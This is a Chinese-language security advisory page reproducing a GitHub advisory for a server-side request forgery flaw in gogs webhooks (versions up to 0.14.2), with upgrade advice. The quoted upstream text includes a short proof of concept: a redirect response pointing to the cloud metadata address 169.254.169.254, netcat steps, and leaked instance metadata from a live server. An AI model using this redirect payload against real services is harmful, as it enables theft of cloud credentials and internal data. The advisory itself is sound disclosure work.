【高危】gogs：服务端请求伪造风险（GHSA-c4v7-xg93-qf8g）

安全情报快照 · 风险级别：高危 · CVSS：8.3 · CVE-2026-47267 · GHSA-c4v7-xg93-qf8g

先看结论

gogs存在服务端请求伪造风险，<= 0.14.2 受影响，建议升级至 0.14.3。

影响范围

生态	组件	受影响版本	首个修复版本
go	`gogs.io/gogs`	<= 0.14.2	0.14.3

处置建议

优先将 gogs.io/gogs 升级至 0.14.3 或更高版本；升级前请结合业务依赖完成兼容性验证。

上游技术详情（原文）

Summary

The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.

This was already communicated in the initial report but it looks like there was a bit of a miscommunication.

Details

By creating a webook pointing to any URL that will return the following:

HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: close

It is possible to access 169.254.169.254

PoC

Run netcat on any server
Use this server as the webhook URL
Once you get the request from the webhook (for example by testing it), copy the response above

Results from running this on try.gogs:

{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}

Impact

Server Side Request Forgery

Fix

The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname

来源与许可

本页自动同步 GitHub Advisory Database 的公开数据，并保留上游原文供核验；不宣称原创分析。数据许可：CC-BY-4.0。